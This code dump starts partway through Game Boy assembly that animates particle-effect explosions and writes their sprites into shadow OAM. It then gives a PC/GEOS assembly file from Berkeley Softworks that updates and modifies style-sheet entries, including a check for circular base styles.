FLAG_ACTIVE cp a, TYPE_PARTICLE_KILL_ENEMY ; check type for animation jr c, .initData ld b, FLAG_ACTIVE | FLAG_PARTICLE_EFFECT_ANIMATION .initData or a, b ld [hli], a ; init flags xor a ld [hli], a ; reset UpdateTimer ld a, c ld [hli], a xor a ld [hli], a ; reset animation for now ld a, d ld [hli], a ; init y pos ld a, e ld [hl], a ; init x pos ret /* Update particle effects */ UpdateParticleEffect:: ld hl, wParticleEffectsData ld a, PARTICLE_EFFECT_NO ld b, a .startLoop push bc ; PUSH BC = loop counter ld a, [hl] and a, a ; check active jr z, .nextLoop push hl ; PUSH HL = particle effect address ld b, a ; b = flags inc hl ld a, [hl] add a, PARTICLE_UPDATE_FRAME_TIME ld [hli], a jr nc, .updateSprite ld a, [hl] dec a jr nz, .continueUpdateParticle ; check if alive time is over pop hl ; POP HL = particle effect address xor a ld [hl], a ; set it inactive jr .nextLoop .continueUpdateParticle ; b = flags ld [hli], a ld a, b and a, FLAG_PARTICLE_EFFECT_ANIMATION jr z, .updateSprite ; check if need update animation ; animation ld a, b and a, BIT_MASK_TYPE .smallExplosion cp a, TYPE_PARTICLE_KILL_ENEMY jr nz, .bigExplosion ld b, PARTICLE_KILL_ENEMY_MAX_FRAMES jr .initAnimation .bigExplosion ld b, PARTICLE_POWER_KILL_ENEMY_MAX_FRAMES .initAnimation ; b = max frames ld a, [hl] inc a cp a, b jr nz, .updateAnimation xor a .updateAnimation ; a = curr anim frame ld [hli], a .updateSprite pop hl ; POP HL = particle effect address push hl ; PUSH HL = particle effect address call UpdateParticleEffectsShadowOAM pop hl ; POP HL = particle effect address .nextLoop ; hl = starting address of particle ld de, sizeof_ParticleEffect add hl, de pop bc ; POP BC = loop counter dec b jr nz, .startLoop .endLoop ret /* Update particle effects for shadown oam parameters: - hl = particle effect address registers changed: - af - bc - de - hl */ UpdateParticleEffectsShadowOAM:: ld a, [hli] ; get flags inc hl ; skip update frame counter inc hl and a, BIT_MASK_TYPE ; check type .powerDestroySprite cp a, TYPE_PARTICLE_DESTROY_POWER_COLLISION jr nz, .defaultExplosionSprite ld bc, ParticleEffectSprites.mediumExplosion jr .initAnimation .defaultExplosionSprite ld bc, ParticleEffectSprites.smallExplosion .initAnimation ld a, [hli] ; get current animation frame sla a ; add a sla a add a, c ld c, a ld a, b adc a, 0 ; add offset to animation address: bc + a ld b, a ; check type ld a, [wShadowSCData] ld d, a ld a, [hli] ; pos y sub a, d ; decrease by screen offset jr c, .end .checkWithinYAxis cp a, VIEWPORT_SIZE_Y + SCREEN_UPPER_OFFSET_Y * 2 ; check if bullet pos is within y screen pos jr nc, .end .getXAxis add a, 8 ; sprite y offset = 8 ld d, a ld a, [wShadowSCData + 1] ld e, a ld a, [hl] ; pos x sub a, e ; decrease by screen offset jr c, .end .checkWithinXAxis cp a, VIEWPORT_SIZE_X + SCREEN_LEFT_OFFSET_X * 2 jr nc, .end ld e, a .initShadowOAM ; d = pos y, e = pos x, bc = sprite address ld a, [wCurrentShadowOAMPtr] ; get the current address of shadow OAM to hl ld l, a ld h, HIGH(wShadowOAM) ld a, d ld [hli], a ; update y pos ld a, e ld [hli], a ; update x pos ld a, [bc] ld [hli], a inc bc ld a, [bc] ld [hli], a inc bc ld a, d ld [hli], a ; update y pos ld a, e add a, 8 ; offset by 8 ld [hli], a ; update x pos ld a, [bc] ld [hli], a inc bc ld a, [bc] ld [hli], a ; update current address from hl to wCurrentShadowOAMPtr ld a, l ld [wCurrentShadowOAMPtr], a .end ret
Library/Styles/Manip/manipModify.asm
steakknife/pcgeos
504
247699
COMMENT @---------------------------------------------------------------------- Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Library/Styles FILE: Manip/manipModify.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/91 Initial version DESCRIPTION: This file contains code for StyleSheetGetStyle $Id: manipModify.asm,v 1.1 97/04/07 11:15:30 newdeal Exp $ ------------------------------------------------------------------------------@ ManipCode segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: StyleSheetUpdateModifyBox DESCRIPTION: Update the modify style dialog box CALLED BY: GLOBAL PASS: ss:bp - SSCUpdateModifyParams ss:bx - StyleChunkDesc for style array ax:di - callback routine for setting custom UI (must be vfptr for XIP'ed geodes) Callback: Pass: cx:di - UI to update ds:si - style structure ds:dx - base style structure (dx = 0 if none) Return: none Destroyed: ax, bx, cx, dx, si, di, bp, ds, es RETURN: none DESTROYED: ax, bx, cx, dx, di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/91 Initial version ------------------------------------------------------------------------------@ StyleSheetUpdateModifyBox proc far uses si .enter ; if no style array was passed then bail out tst ss:[bx].SCD_chunk jz done push ds:[LMBH_handle] call StyleSheetLockStyleChunk ;*ds:si = style array pushf pushdw axdi ; set the base style mov bx, ds:[si] mov bx, ds:[bx].NAH_dataSize add bx, size NameArrayElement push bx mov ax, ss:[bp].SSCUMP_usedIndex clr bx call ElementArrayUsedIndexToToken ;ax = token call ChunkArrayElementToPtr ;ds:di = data, cx = size EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > push cx ;save name size push di clr cx ;assume no base style clr dx mov bx, ds:[di].SEH_flags mov ax, ds:[di].SEH_baseStyle cmp ax, CA_NULL_ELEMENT jz gotBaseStyle call ChunkArrayElementToPtr ;ds:di = base style EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > mov dx, di mov_tr cx, ax inc cx gotBaseStyle: push dx push bp push bx ;save flags movdw bxsi, ss:[bp].SSCUMP_baseList mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx mov di, mask MF_FIXUP_DS call ObjMessage pop cx ;cx = flags pop bp push bp movdw bxsi, ss:[bp].SSCUMP_attrList clr dx mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE mov di, mask MF_FIXUP_DS call ObjMessage pop bp pop dx pop si pop cx ;cx = element size pop di ;di = offset to name ; ds:si = style, ds:dx = base style ; update added ui by calling callback popdw bxax ;bxax = callback tst bx jz noCallback push cx, bp, si, di, ds movdw cxdi, ss:[bp].SSCUMP_extraUI call ProcCallFixedOrMovable pop cx, bp, si, di, ds noCallback: ; update name sub cx, di ;cx = name size DBCS < shr cx, 1 ;cx = name length > add di, si ;ds:di = name push bp movdw bxsi, ss:[bp].SSCUMP_textObject movdw dxbp, dsdi mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage mov ax, MSG_VIS_TEXT_SELECT_ALL mov di, mask MF_FIXUP_DS call ObjMessage pop bp popf call StyleSheetUnlockStyleChunk pop bx call MemDerefDS done: .leave ret StyleSheetUpdateModifyBox endp COMMENT @---------------------------------------------------------------------- FUNCTION: StyleSheetModifyStyle DESCRIPTION: Update the modify style dialog box CALLED BY: GLOBAL PASS: ss:bp - SSCUpdateModifyParams ss:bx - StyleChunkDesc for style array ax:di - callback routine for setting custom UI (must be vfptr for XIP`ed geodes) Callback: Pass: cx:di - UI to update ds:si - style structure ds:dx - base style structure (dx = 0 if none) Return: none Destroyed: ax, bx, cx, dx, si, di, bp, ds, es RETURN: none DESTROYED: ax, bx, cx, dx, di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/91 Initial version ------------------------------------------------------------------------------@ StyleSheetModifyStyle proc far uses si .enter ; if no style array was passed then bail out tst ss:[bx].SCD_chunk jz done call IgnoreUndoAndFlush ENTER_FULL_EC push ds:[LMBH_handle] call StyleSheetLockStyleChunk ;*ds:si = style array pushf pushdw axdi ;save the callback routine ; set the base style push si, bp movdw bxsi, ss:[bp].SSCUMP_baseList mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ;ax = position pop si, bp dec ax jns 10$ mov ax, CA_NULL_ELEMENT jmp gotNewBase 10$: clr bx call ElementArrayUsedIndexToToken gotNewBase: push ax mov ax, ss:[bp].SSCUMP_usedIndex clr bx call ElementArrayUsedIndexToToken ;ax = token to change pop dx ; loop to find if we would be creating a circular reference by ; changing the base style ; ax = style to change ; dx = proposed new base style ; bp = style being checked push bp mov bp, dx circCheckLoop: cmp ax, dx jz illegalBaseStyle ;can't be based on self cmp dx, CA_NULL_ELEMENT jz doBaseStyleChange xchg ax, dx call ChunkArrayElementToPtr ;ds:di = data for base style EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > mov ax, ds:[di].SEH_baseStyle xchg ax, dx jmp circCheckLoop illegalBaseStyle: mov ax, offset IllegalBaseStyleString call DisplayError jmp common doBaseStyleChange: call ObjMarkDirty ;mark the style array dirty call StyleSheetIncNotifyCounter call ChunkArrayElementToPtr ;ds:di = data, cx = size EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > mov ds:[di].SEH_baseStyle, bp common: pop bp ; set the attributes push si, bp movdw bxsi, ss:[bp].SSCUMP_attrList mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ;ax = attrs pop si, bp push ax mov ax, ss:[bp].SSCUMP_usedIndex clr bx call ElementArrayUsedIndexToToken ;ax = token to change call ChunkArrayElementToPtr ;ds:di = data, cx = size EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > pop ds:[di].SEH_flags ; set the name push bp sub sp, NAME_ARRAY_MAX_NAME_SIZE movdw dxcx, sssp ;dx:cx = buffer push ax, si movdw bxsi, ss:[bp].SSCUMP_textObject mov bp, cx ;dx:bp <- buffer mov ax, MSG_VIS_TEXT_GET_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ;cx = size (not counting null) pop ax, si jcxz skipRename segmov es, ss mov di, sp ;es:di = name call NameArrayChangeName skipRename: add sp, NAME_ARRAY_MAX_NAME_SIZE pop bp ; set the custom stuff mov ax, ss:[bp].SSCUMP_usedIndex clr bx call ElementArrayUsedIndexToToken ;ax = token call ChunkArrayElementToPtr ;ds:di = data, cx = size EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > push di clr dx ;assume no base style mov ax, ds:[di].SEH_baseStyle cmp ax, CA_NULL_ELEMENT jz gotBaseStyle call ChunkArrayElementToPtr ;ds:di = base style EC < cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT > EC < ERROR_Z STYLE_SHEET_ELEMENT_IS_FREE > mov dx, di gotBaseStyle: pop si ; ds:si = style, ds:dx = base style ; update added ui by calling callback popdw bxax ;bxax = callback tst bx jz noCallback push bp, ds movdw cxdi, ss:[bp].SSCUMP_extraUI call ProcCallFixedOrMovable pop bp, ds noCallback: popf call StyleSheetUnlockStyleChunk pop bx call MemDerefDS LEAVE_FULL_EC call AcceptUndo done: .leave ret StyleSheetModifyStyle endp if 0 illegalBaseStyleContext char "dbBadBase", 0 endif ManipCode ends